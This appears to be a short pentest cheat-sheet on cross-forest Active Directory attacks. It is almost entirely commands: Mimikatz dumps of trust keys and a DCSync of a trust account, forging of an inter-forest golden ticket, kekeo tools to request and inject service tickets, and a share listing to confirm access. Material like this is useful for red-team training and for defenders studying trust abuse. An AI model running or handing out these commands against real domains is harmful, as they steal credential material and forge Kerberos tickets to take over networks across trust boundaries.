🟢Crossforest attacks

Trust flow

Dump trust keys

Look for in trust key from child to parent (first command) Look for NTLM hash (second command)

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -Computername <computername>
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

Create a intern-forest TGT

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<domain> /sid:<domain sid> /rc4:<hash of trust> /service:krbtgt /target:<target> /ticket:<path to save ticket>"'

Create a TGS for a service (kekeo_old)

./asktgs.exe <kirbi file> CIFS/<crossforest dc name>

Use the TGT

./kirbikator.exe lsa <kirbi file>

Check access to server

ls \\<servername>\<share>\